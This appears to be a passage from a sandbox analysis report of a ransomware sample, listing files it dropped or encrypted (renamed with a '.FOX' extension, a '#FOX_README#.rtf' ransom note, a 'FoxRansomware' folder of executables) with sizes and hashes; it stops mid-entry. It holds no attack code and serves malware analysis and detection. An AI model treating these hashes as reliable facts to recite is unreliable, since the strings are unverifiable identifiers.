C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\Content.DATA

Filesize
8KB

MD5
97d9658f851d5831bb5d7cc785670487

SHA1
e9ede097342b44434d49baf92ea8725ab6fbad05

SHA256
3a5b78f1692f5f85b70ef7ffb72c9e9d1808a0a34ca2727e0ccb4f3535f17d20

SHA512
f4ade16109f74ad76ae3fc0fbee97a4b50634e349dedb234280ebca74f7481a3b6a21c8120f56308ddab7334f8b2954b949b4afbcb6d81f1d7404278d3e2cb62

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\Cryptomining.DATA

Filesize
2KB

MD5
d5ede94892263e3072a4b83c8c0b2f8e

SHA1
b8806c9f21156fbfc0fa141614fd3983956a3536

SHA256
7e9777082d84d8c04fac75cae7312f28c34d37e43bf16d42109ab7eda92090d4

SHA512
5d03dce945962c775832da1fd6204e5e76c629e27c8d706ebcb5ea86cdd5a850a7f356fbd8387fc03fbbf2e9a5cff78e49291daeeaf14eb137180b83a341e2b5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Mu\Entities.DATA

Filesize
69KB

MD5
699ae50400ff7e42029acd332b0d7c3e

SHA1
86d257048369988760e440ff83af3d1eacc1e7b7

SHA256
748400b4cf1dc7a523ecc5dfee8092da3edb0c57bf1815dde7ea40183d025975

SHA512
c0d2f29a48dc2609de1688a92e3b0d0e345e3ece0fd58473eb92922d932fbec95421ec30980aecc153204ecf66fba135e3762cd8a60b637d8d9559fd0d1a36de

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Content.DATA

Filesize
1KB

MD5
eaa1f4f95de11a1d4a9037eef6987071

SHA1
4662153b7198e0f09a2e525f0a3795f9d3fa4bfd

SHA256
44709b1db6de426ef7a6bc4cc218910bc41f3c2b6f95b30b00f781f67f60af00

SHA512
31332abf7587a325a15b1e9ee17840de92e5b374335556b426ee77a265386d4b02aa43a520aed4f7bf5bb89e5d3d09f8984362dd419988c9f6aea9059f5bd9b1

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Cryptomining.DATA

Filesize
1KB

MD5
e3fe32e7a61a9f7396f86eb52dac1cbe

SHA1
ea723cc86c313ec1a77d1993f7b6766ad5ba7b9b

SHA256
28b07fac5791de51ee386c33edb1565aac23f7420cd60d9112119dc922d6c9df

SHA512
7d45f4961a1cedfa360ba9f9fdb3acb2e1b555adf7291e277c0af1b8695b161ef7519c8ec7aab873b9cb28d01bf10b41c0640b8f87569a208009247e63129614

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\Trust Protection Lists\Sigma\Entities.DATA

Filesize
18KB

MD5
68c9fc1106e745f2e2afad7040377012

SHA1
31c22359bd720457ea5c5784e0660307af403b1f

SHA256
a56cb44b174cb0ae1cb8dc4b3239352c2c2465857d18a3feb0217e60cd4c6ab9

SHA512
17f58f3f76658b3648f7623ca5409db9eafb6928060836ed10711a8ed455fad547977c86ffc240ee64a1ed0e0c975e91eef60ca0935cf0d25162d39b82ec201d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\VisualElements\LogoCanary.png.DATA

Filesize
30KB

MD5
c8aed93232a1cf3d2ece82b65f475153

SHA1
4201f468838a38a32c3ab404990374bb364efd14

SHA256
6e7c0c8a3c2631ad464b835ac3f3b82904ea7215951cf8e48e7148ca4446f5a2

SHA512
4eca00f7cfc59fe260cffe3b5e7fcd2b41def19c3ea958951171263940b89e254158fe0ccee94a530a66465c9839593362c7ff688f4f58755ee5fdcdc96f00e8

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\VisualElements\LogoDev.png.DATA

Filesize
30KB

MD5
8c8fe5224e2c5376b51d99c31124a4fb

SHA1
31521797c42d6c18f08bdfe1bf253929dd616f84

SHA256
851c98d09fff4db19c9526c31010129457f64396bf589e72614e93da004a4b63

SHA512
d966349a43cf03bc5259182e63e02a1f7175e5f39730a82d3b2d4ae6e8c2a61ea056b345d3278fcfc425798ca561661862ecc4a098e9f915bb3854a4b2fcce9a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\icudtl.dat.DATA

Filesize
11.8MB

MD5
cc080f818f501b92512ce3a2b8976ffb

SHA1
17bf533e00bfe4cb03b204b793012389835a8514

SHA256
4fa093dd1aa32320619a38adf06d747c9736a39fb0ac0775ed237dbe843eb461

SHA512
f4dc4762c5544a304ffa00acb48c4fb970b17fe1122f0701c415c0ee10d78c2438d3d640f0694417bfe0b7d53cb8e38a2334a00e1c85fa3cd41042f69a048f27

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\resources.pri.DATA

Filesize
5KB

MD5
99649e77f5a6f251aedb4d6f65acaf48

SHA1
fa4b8ce1d8c1ff4067f1e15a5c7d8bd94ad19e09

SHA256
26f12f5da989113aed5cd4cd73f58db392df5496fb8efd487ec93b0fecb8dcd5

SHA512
a27a0428475c7074428e258931756c220edbe9ec6864396184047dacb5246450b864828ac187bcda2956fc84b18573d0e960845d3ac7ad8249b424dced496722

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Canary.msix.DATA

Filesize
54KB

MD5
d4d43a90a0898938cb2579343924f9d7

SHA1
fba5490a72917029e3eb8bab72259fc5728be1d8

SHA256
2b4a06b79ee571f6dd5e8067275520927884e06126133331defee568723fcca8

SHA512
e822e4e1e293acb99237c911e46e696074633b221ee94a336a28fd0c5c1f62e512edd1f4c18a8773b1961d983a16a286a27cba0d21db7c405b92b1e03471ecce

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Internal.msix.DATA

Filesize
58KB

MD5
f4e12eed916f2275a7bfacf5e09b1341

SHA1
ada09e1ceffe8e63f1b14baea354c37622a92fc0

SHA256
56163651cc76df818391e2f599e49e34da93daa0f6632d5a965f427d658e16eb

SHA512
0f1968d8ace7e135cdfb5e8f768b75f00936aef7ca4cd89eeaddccc555199ebde8b63bf1478f338bdfdc15c52ebf3052b649719e958c606f42242ff74a785ada

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win10\identity_helper.Sparse.Stable.msix.DATA

Filesize
58KB

MD5
4483f2951eb061eed0a1c1e424b5fccf

SHA1
70e749308cf08d2f8f0742618f6c4b4c0577ba14

SHA256
494f2045f0f6c54ec5538552dd0af01ad44af632c4d59a0a207bf60403249b79

SHA512
55f02abe9cc3d052bd897c267a681dfb382f5b1f91ea875fa04cb8d897525daa04e3665abc42c576c31d7fbea927f5e6851de7294f97fd4e4b4f16507bc34794

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Internal.msix.DATA

Filesize
58KB

MD5
19ba98d3144b26953a74d4745c8bdc28

SHA1
f76af15aa14fcf65aecd9778dc1524d55409f86a

SHA256
c16a3911a758a1b41941a68ca36776507dd48fea36a36a848d174a80ffb05e1f

SHA512
820bbddd3c4340b2c696f1696f9f0ae14ca3ce24b29615cb1787a84b4ff8bc82fa3d61a3fefc17f08183bfba8d6c41d6a71d74b3c9d379ae8eaf313a1caabb4c

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\identity_proxy\win11\identity_helper.Sparse.Stable.msix.DATA

Filesize
58KB

MD5
42b4eb43dfe0f953a9a9898df6ee6a80

SHA1
b8c86a34be415d20399b45df55f52b971d5104f4

SHA256
53b90cbcb6f5fc936804c6c418494cd98ed6c8f8ab53d2dbc2070200c8287f13

SHA512
a1be80f40b744057c29e57144ee8b56286c7412f8910a67018668b017e13afc1225744617eaeeb6cb1a4854d8bf85e897919214f7c6050cb75a33ecc53e316c6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\ResiliencyLinks\msedgewebview2.exe.sig.DATA

Filesize
2KB

MD5
368a1f0da30eafe945e8f47186a57620

SHA1
a81fe61c80ff87847046bfa8c350b935c29a5d0f

SHA256
bf8af1a54163ef5bb1495695ba267055cdc665b7eed499e6fd4294a2f0217c11

SHA512
9b53c5eafef5a51fca0cc43b56c1868510bdd0a7d313b44120313e458e8cc13153eb894a030dd088e8516b56e6a5f6f5254dbafc0f96b5d5959bf8e3fb587600

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Mu\Advertising

Filesize
26KB

MD5
1fb6e62548ebd5c9ce4df1dd76fc9c9b

SHA1
1b17c9bf7e4b9e19ad7aa1fdfd2592fe06743636

SHA256
ecb19d8695084ee25b2f6ad1ee7edfdf300f22cc5b81ec8752a1e99dbb296ba5

SHA512
67ca43d72a22cf7530c36117696a0948c96276249dbede267a30ca31b8616482b2f6d41654213650e81a4d8e698e36e4b1d76bb83788c416edf6d5b6b3955dba

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Mu\CompatExceptions

Filesize
2KB

MD5
55375fb9100b38aaf318449111d27151

SHA1
61912e0f1903242afdb871da48af203c509cca57

SHA256
76f2c05a35d0559ed391bbe244cbada2feb3531268544c0089c19097f27db26f

SHA512
9fb3f86a6a9774c3ebfd03077534a7b2d82f8c543943875ae946195f5f7654d4f3706a9973268ccca653ab49c5d20965e3a7e6d3d32e1e1d0d8aebcab9c7c833

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Mu\Fingerprinting

Filesize
2KB

MD5
e4cdf698ee05030169a2fb7ce1c5c193

SHA1
fc4a68b2c952c0a2f62b17a58946050e4f986fb8

SHA256
f6bfdb50ac08fdf764d5220498b4f9cd6d1467503201c458e56a17883bc2f7be

SHA512
1f5365743e0d6bbe03bd616100499a7e85210b2c55ce28614aa8d8a7d3589cdc23a8ee03a1af9347cc62cb831e4d8f04bce0ea7fd84849d8a44b17fef4190b73

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Mu\Other

Filesize
1KB

MD5
6b128bd58fecd0c2e688b8924cc0af6f

SHA1
9e50ae48a05d7b2be2f421c2bca34a3023cf74a4

SHA256
af96a964f7d63893e0cc21fdf269e6de0aba9ff25bc4c9b2eb3554563ddbd499

SHA512
4d9c50152e34bf3642fcc5495c3550a1932c77bd790aeac9c0241ab162c3d81c3bcd44d3d8a5d99778e2801f5d507a1de7bbfa7d33b993ef42aef6a827701ca4

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Mu\TransparentAdvertisers

Filesize
1KB

MD5
31819bdd0d169bda23aba3b1a7fefd23

SHA1
8e044a19a85119f178746c1d77ae52b37c465cdd

SHA256
11175cc732f6271a0149867e89813c78443c16a5ac830c103d76c69729c203bf

SHA512
49330f256edfc6c330824ae803c7597c970ce6af79840c508347d052a21e2628778976864dad195075ca80950aec66865b298a926f957175763e00864c28c481

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Sigma\Analytics

Filesize
1KB

MD5
6c15acc360edde9b163cbb8abcc9d6c9

SHA1
128f3acecfb278518d4a60cbfb5e205685cc7f74

SHA256
657f47acd1b482a7e0d3b9beec8c996e7944ac9b4f45e62a81bc6d0c3b8e42d9

SHA512
5585fc44d0387c3b9165deeeaa8fe5e6f785138e9b372d02cb9c64d2b6b108dbb7c4a8978ee045ce7711b0077460603f8a24dcab88f40cd2ea7064e2674acdee

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Sigma\Fingerprinting

Filesize
1KB

MD5
6b931e6c09dbe957a52a2eff1dff7d3e

SHA1
fb1b89aae6060cf66c445a39107da16fe1e0f73c

SHA256
47ed7bfba628733d3452880a7f765142809aeee12df0a16ed08c6f47f0d333fc

SHA512
d74835a6e28b35d352959b3d34e90fe7fba0519650ebb590c733ab46de6a0035c8e153edb295f57f02d2f2c4281bfa6b2ca9adbee6b71646fbf45bd8c8a14881

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\Trust Protection Lists\Sigma\Staging

Filesize
6KB

MD5
981ab3a45304f949e9122c615e338aba

SHA1
5efdf9917fc7fc191ff25b3c9c79f6b7d464be88

SHA256
2899a8e7a0a2b4ac11ef34e2e577eba625c4f3684bb145039fa308dea883d6a6

SHA512
8f05d71edd71ef92aa4dde6e723e46d346208baf9e1998292e96fdb9244923e0ffd82528b9478d06851cdfc4f94b3b80ee649996befca9821021797d2cd4072f

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\VisualElements\Logo.png

Filesize
33KB

MD5
c4d9fbde0ad47f35d8706d3911a5d266

SHA1
25ed1277b13ae57e94ac098e0242441c4c7b8232

SHA256
7aa8de95533e2a160c2e52d53aac669d6cb0b0d0bca867070c2acfd01163c6c9

SHA512
d530bb3441b085159c65e4137a0367044bb9299f119e537b76d0ca9f5ce1fea20dbe331f957b849f028284084c9f260487fbc7a66e03ed29bba732cbed516060

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\VisualElements\SmallLogo.png

Filesize
16KB

MD5
894f169f0757e5382c0079c2fcb07cf6

SHA1
0865a08e099963682f456ec11dd245bfe379c591

SHA256
db5805c788b56938964a3effd318b02c776a37a151123c28bee7d4cb2526f8eb

SHA512
71fc99e7127057fd2318c99f885c14165b3b3eff5962156b9fb5885d253d3d5ce7b0249907dd6bf52283db66ba472c10e6b642f140243944eade5042e87064c2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\WidevineCdm\_platform_specific\win_x64\widevinecdm.dll.sig

Filesize
2KB

MD5
71d7473bd90d6f0641da8a7590f3e662

SHA1
bdbe5e1a2f7d8798b350d97fc9eb3ca4a40c2ae0

SHA256
049d61302f09adf147acd829917b679a939fb3eeff3894d1db3a566fc072395d

SHA512
b64af49aed4e74392feacfa2e1885b32effbd7da2d6a6056b154ccb8189ffe35181b89ebe7ca2d2d61b67835d6bff82e3b265361a1ffceacb1524ba4ad1aacb5

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\edge_feedback\camera_mf_trace.wprp

Filesize
25KB

MD5
e45cea788360449927a391db836b0dcd

SHA1
4a1903de08f7b300fa16a87b73e2bf645cf4cb40

SHA256
992d82bf06d148254a3dd127ecc742ee1394a5f42584d064ed2f9f356a1d0fe0

SHA512
6a0dad14fbfc4edd6e00e28843718b7134002e21f42e0e1d60f3ac189f97724e959601ca19f9bfaea556eb14287460799714375b0dd416d6236297b4d4d35ad6

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\edge_feedback\mf_trace.wprp

Filesize
13KB

MD5
627003e7d9d09401dd6e86e52c95c411

SHA1
b5520631da22ca07224ed629f48dcec9247ac283

SHA256
d00e3094a2fb3d8259a635d41ee030dade6c20e9930d9756100e3399f40ec1d5

SHA512
d0bae040f53993f3d3c2904530c64c1410aafce31c1a455fada00087fcb884a2dad1dbfe415a9b1f0e3a9638f75d0b34ea8dfcf6c55ed04a2d91aea6f86e8a72

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\identity_proxy\[[email protected] ].6lQNAyY2-fp6SFe0M.FOX

Filesize
2KB

MD5
8582d6cc3a527b1bb9b4bbd78cf64574

SHA1
44e4767d46665e5ea3210a017b36537ce49c9bd1

SHA256
770d7e37e7a0c624c8a7be7aacb9e11b88953b190574852573fa71341bb18955

SHA512
7e9da8ccb241a5d7fe345796d65377b7ce54c67d257ac122015fb4a0ba059195f0bcf6fda906454a2339b620e70eb25d721be471370606c885c84f5d04e540c0

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\identity_proxy\[[email protected] ].MR8bFqXz-pS6JBbyX.FOX

Filesize
2KB

MD5
fecd581098f0e5f432b92830a63187a0

SHA1
f3e9aaafc98087528d0d37598c4534dc8bcd523f

SHA256
e5e584a27c7015e7c5f9a60ff5008ba8e9869021c8ac65984891997e9af5a1ce

SHA512
150ce7f511563adb5771c0b8c0d404919ff0b05a29bed132f7c2f4ab0cc2e02247c22b2f8c06afd879253208912d3beb69203a29bed55966c2f013776ddd7802

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\identity_proxy\win10\identity_helper.Sparse.Dev.msix

Filesize
54KB

MD5
1a7628a55120e0dde5b754e88896232e

SHA1
a1c262523029a32d2aaac4c7b78c60ae81243f90

SHA256
173bd304448339f4ee61aed2d236112d6f5ed0f427d0f1997afcd89baee3ef22

SHA512
4e15c9f972bd6ab16fd59413a0c39a2438377b2b4e17c00e1b74fb4a618369dbfc11534419a5601a1f36954201d5bfe9585c2e63b90c4284b5eab9c8630600b2

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\identity_proxy\win11\identity_helper.Sparse.Canary.msix

Filesize
54KB

MD5
775930cd73c208b9da60b3da3da0741b

SHA1
d8209b7759f42fc52a6de6bf55c18d5debdea7dc

SHA256
637ee4deaa7edaadd03c30a368a5f9297bc74230a254f10a8ab18709936b1673

SHA512
589f165e0376580740dce8d4e238e49d2de1c33d4ffd4b69d7b71d225bc6a9c3255cccc098d851c166899c67803264c4bfdf8f2531898f1da73dd204af69379a

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\msedge.exe.sig

Filesize
2KB

MD5
840587dd962023dff19faa464af55d3c

SHA1
364d99e5e67f489e0e573098a618e6f5a9643642

SHA256
cd58f889f7b5637c9ae2f875804a57b4f8fdd1dc362ad0e69b93fd1f7efb3584

SHA512
6971e9c088ffef94c678e2d5b544844fda22b32be8e77ef7c3d0fdfe1431430957eb68ad1fb1016ebea27ffc40ff55f15153d278f4b5c9ac051ceb09e034cc5d

Download Submit
C:\Program Files (x86)\Microsoft\EdgeWebView\Application\122.0.2365.52\vk_swiftshader_icd.json

Filesize
1KB

MD5
3c044bf04e07005218241eacf7579463

SHA1
d87f4fe0cd568f41c848f570b8586adb55371701

SHA256
660b17db24ec6469349fca71aa01234d8eaa734955aac5f29234e7bf20b07c0b

SHA512
9410daa2ceee9e3e9fed6f4adbdacf4ee46ab6e782296cdc53ffcfac1665aefe3e4e5b909913da7f0f38302002dc7498c730cc225a6372b8a8930d23b3978268

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].1ZEZzZx9-zKXoSAwg.FOX

Filesize
2.0MB

MD5
c5fcd9bbb24d0ac189f2c730403334f6

SHA1
125f70f2314e0ff1a3b940295f35450b8f32ffbb

SHA256
30fb45801b9794e89aecf8cf81f896998d6f51ba71ef14820b1336e54d79ac20

SHA512
caff8f6797cafd9628ee5ebd943415a5868251e52421c3c239b88a879b6f8943495eb57b9dcb9bc1caf8b01c637e72fae4ed9f1473ffe66aa38dfe88bac6cd44

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].2fvByISy-yPLklPMv.FOX

Filesize
1.1MB

MD5
dc9020549fb176dd6be7e9cf9c5c677f

SHA1
324bdd6d61d57f23d7609ea2009c8bfe7bbb075c

SHA256
0cd0c83cf2e3a2e5d40953509fb3e1852d57e71777d37926f9f8ae6a9e35a68b

SHA512
7f6eed0d2282a0b9b73bb93af1dbf3e6cc57dd756088150f20d0291ee328996d081d05564b60c875922cef7aefb1f015ae2b56b43c5edce7a7fa49855b68a030

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].9pddjJa6-vsg8LAT9.FOX

Filesize
1.0MB

MD5
d5353ff12ef5eccb61586afe2529b7f5

SHA1
54e343241f848a81e653f365944b86a5c7d1a954

SHA256
bfa46e30300f7238694b02e376e0804ed4d3761de6468b33c7158b0e23b6c868

SHA512
2f30201e4359c177e74a5190495909c2646067b830c82b62452b320877ffa070059c1532fdb0fbb173ca4bc7f2978b7678f9f4191c7a8b537b9421d8f09d3bed

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].GU4g0Arz-PVzluX2a.FOX

Filesize
1.2MB

MD5
ff8667e994192cb9ae561b5fa230395d

SHA1
f50424f4599c8c0caf006ab51e2748c13fb31411

SHA256
323c199a270e080a2b7825f914b285b92d4450f79428c9231f4b0dc931821975

SHA512
b9f2ee80148d93133a94d98a6dc66d1dfa596f20736cbc0ebf9dd8d4dd67c99b12d442b70c0f05abd599c87a54adfd342149a9c335048118c8d63bd7e3c199fa

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].KZJpgHP1-QPfNfsxA.FOX

Filesize
2.0MB

MD5
eca00246f5a4605c894500dc19efc84f

SHA1
c742e100ee8f8d310642710127fe6bd680fda1be

SHA256
85cdc849cc124be3dffba727600fc4f0c9c3dcfa4e58d4fd9fc2a7d7117c192f

SHA512
c6f8f0d6004af11ee1b4fbd85a473ebb253b9a54f76bb9c644c361ea4482a81649f8b6ff983d37e1f5aa0966b11d6a3373bd02ede35dd1535b99752dc477c6f7

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].SWKUSfym-WLn5SY5k.FOX

Filesize
881KB

MD5
f7cfe779953ffc4a1bfe6488e8953a68

SHA1
c89d65a20a68fe0fa0ca9f5dca9d8541cff8d488

SHA256
5ad3d45887d06b39b58adb5b2645a8b6990b658c880768e7bc7c5a80f4e5c342

SHA512
4e49bab0b5710d66c7e07164305faea8b61d4c8debca5feb3b27ab6ea6cd1d10d2cbb760c80e21ecd15981e8739be88ff9c7102f6928acfa0cf3fc2b62cd4826

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].vp9o55Lg-0UEF5MwG.FOX

Filesize
2.3MB

MD5
ca804a136ebb0b0bf30e57057eca9f93

SHA1
9750d80d9648af9d980c8a313464497905b01dbb

SHA256
97374e38839a9a34a0bd35f9373668fcac345d9e7ffd0dd74e8ef8e05a420ab3

SHA512
5e0c9018a073d4de0c2e9ebde2f0ec6e4e683030bd1a247c1e9d1b58db48594a5df7fb0098358392d0545b14499efa9ccbf05703e073ca9b33cefa6e1489eb22

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\Locales\[[email protected] ].w2hlZY2f-EqoygO2y.FOX

Filesize
1.0MB

MD5
9931bc0496cf1180f7932419eeb904fc

SHA1
e3e58f381083759b4dd732eba04edecb607a37dc

SHA256
c2aa5a0706b42c30648fb77e671cbabb3e7bfc2164f5fb63711ebcb698182885

SHA512
a85d172367319fa3b417983c60059525fcee5b19fab22939f96c7daa1902074c8c35fd1ba40990577423cfb570f11419313f3041928ae704c33c0479fa23838a

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\Locales\[[email protected] ].D8XcHZ0E-XWif5Knw.FOX

Filesize
2.2MB

MD5
9d2712aba22100bef55933dba1d9619f

SHA1
cfd28e2e07870660a9aebbde1b1227fc71be672d

SHA256
3effbd8eea4dff5c0ba790fade9aae42e74cd7170ef15f2144c8f3241a6ecc7d

SHA512
c6f92beac41dda47b5ba4897df2cdefe15390b53e55525ee3c3e21b10477e42ccc070fac46c160d9f621bf2b7ab1ad451e7577e1458913069b86132925ecdd4a

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\Locales\[[email protected] ].FuUMUibL-mNeixueG.FOX

Filesize
1.2MB

MD5
bde8b3820c379307fea9ccbc24089118

SHA1
e9ab4a0af210d939dad0908376bc6dcb9ad8325c

SHA256
f8a1b88c1fcec649a6162a44ca5e984fa5ecf94cfaea4e37d4add1841cc975bc

SHA512
e13b787677ca328086946d250357f1a4a6bebf32a84652ff38332a93322fb735263c7245bca9e71146e66045ebbb248074dd8c2344deaa67d2120d737b148d5a

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\Locales\[[email protected] ].tFl8lXhb-TLRxeORQ.FOX

Filesize
2.2MB

MD5
2ea9acd1942f887d20479f1e4e03779a

SHA1
b79f69bbb45bd2fba67d6e584faa657873a18881

SHA256
7306bbb47b7691b8edb333b94239bd7f33f1f204a246cc7a742707fe62063a5b

SHA512
aea01c0793bb65eac699b7dcdce1b952a2b22c1960618990e39b522bd1ee98dfe86e876b411d2566202ea6460008a1691bf3c366dcfbb7b6eca972fa9a307f1e

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\ResiliencyLinks\Locales\[[email protected] ].yIQmQv1h-Huve5mm9.FOX

Filesize
1.1MB

MD5
a317df3220ebaea4cada97ee4ea4a927

SHA1
63512c6d62e6e63f1bd03fff1a6662ed409080d3

SHA256
c0f0af1e336d432bb5feb810eff9abba4edea13fdbec6defee02193394af0a63

SHA512
7e4c47b4c394e60c43eb7f54ad9cf4eb8024a842f4783c6ca542cfc5675d5fcd78cf6590104feed2fc0a0ab41c19e0c5f4327ece0eea79429d43bb781ff9803d

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\VisualElements\[[email protected] ].wZ3NlIBM-pKHwuVjB.FOX

Filesize
30KB

MD5
cb61597222a3041fd1d53aa5a9c1a64a

SHA1
0ed8a989c8b24fa7a18ab183d22334071656e9f9

SHA256
ae1773f8202d4fc116dcc9e65990921d29810fb22d0d3f239698947ab8feac6d

SHA512
0916f8484461101c0d8ef09083f817f465f4a981e89a9c41f290b156bf3d0eb268830d58288ce9f478462d3efc7577e3a45fb4b8e03d55fdc9e37e3fa34a6b7c

Download Submit
C:\Program Files (x86)\Microsoft\Edge\Application\122.0.2365.52\identity_proxy\win10\[[email protected] ].rNNnssiT-JZihcctz.FOX

Filesize
54KB

MD5
33f90985b3e48c8b84e5b4b66a5df40b

SHA1
4c94ef3e440c9c5bea5edd9adc7b3e0d7649c20f

SHA256
07e6ee36be936787688e04d1395fd26e50e72a2d5357bf00f08b09048e0d1f1d

SHA512
ac26c0be2cd87bea1733fa5c692712febd563ac897b6832d8c86d87228a032a8bdf85a05d0faf315ea51da164ef17bc6e8a8127c04596cbc86da537efd83e541

Download Submit
C:\Program Files\Microsoft Office\root\Office16\1033\#FOX_README#.rtf

Filesize
8KB

MD5
1a1c3f3a36e93d04830e5843516572cf

SHA1
961b81f3adb61ed85c310c700ed9f6491d1068ad

SHA256
eec7e10ec6d3e3964b17e62d6753ba11cc1adfc8a16349532387c6c8976f1112

SHA512
f819e04662f1a4ba41036a7d7e158a2b5a81916ada1159ac981d9f3dc6e25955dee50e8083c7da95d0014e509542a5fc26466c82c81e2f26bcf92ec60d0d47d9

Download Submit
C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

Filesize
16KB

MD5
079d6001af970fe476394f8e809539e7

SHA1
69f3c7ce56934edf906cd6fe82ba8cd18acc7047

SHA256
63a3a8a65f0117d863b9427c93d0e101aaa92c060d38d4d07a18a7de8cbb98ed

SHA512
686eb80a28d5022c4f079aefba92ff0212e651537a0a52e43ab47884a2a35b4d1ad371deb29860c4068fe37fdb1bf097decffd7b6e2a2e736910800d29523bea

Download Submit
C:\Users\Admin\AppData\Local\Temp\EY6ycQhK64.exe

Filesize
221KB

MD5
3026bc2448763d5a9862d864b97288ff

SHA1
7d93a18713ece2e7b93e453739ffd7ad0c646e9e

SHA256
7adb21c00d3cc9a1ef081484b58b68f218d7c84a720e16e113943b9f4694d8ec

SHA512
d4afd534ed1818f8dc157d754b078e3d2fe4fb6a24ed62d4b30b3a93ebc671d1707cedb3c23473bf3b5aa568901a1e5183da49e41152e352ecfa41bf220ebde6

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\EY6ycQhK.exe

Filesize
181KB

MD5
2f5b509929165fc13ceab9393c3b911d

SHA1
b016316132a6a277c5d8a4d7f3d6e2c769984052

SHA256
0cfdbfb9c4a2a80794462f06cf0da43c5977aa61bd3bbe834002703fe44ef0b4

SHA512
c63eaac9f46f90a991cb27f3039d9d9d3c2bb3e14d199a2c292e4e87a02c3642fdaa918a2d1447f80d6146a95018eb12bb8a6feb9c082b2b2583634330235bc8

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\NWFxTI7p.exe

Filesize
1.2MB

MD5
76b640aa00354e46b29ca7ac2adfd732

SHA1
afebf9d72ba7186afefebf4deda87675621b0b8b

SHA256
0b03bf1c7b596a862978999eebfa0703e6de48912c9a57e2fed3ae5cd747bea7

SHA512
fecb15238714c786098f1dd0bb18696ab15634228ec3a48c900fd843e817d4c24607bdf6fb58e0321da3e1c1e49305ec919dddabbd34727acec8fbd6cb6fd552

Download Submit
C:\Users\Admin\AppData\Local\Temp\FoxRansomware\PanMdssr.bat

Filesize
246B

MD5
b50889220cbd526dcf010892fb585b8c

SHA1
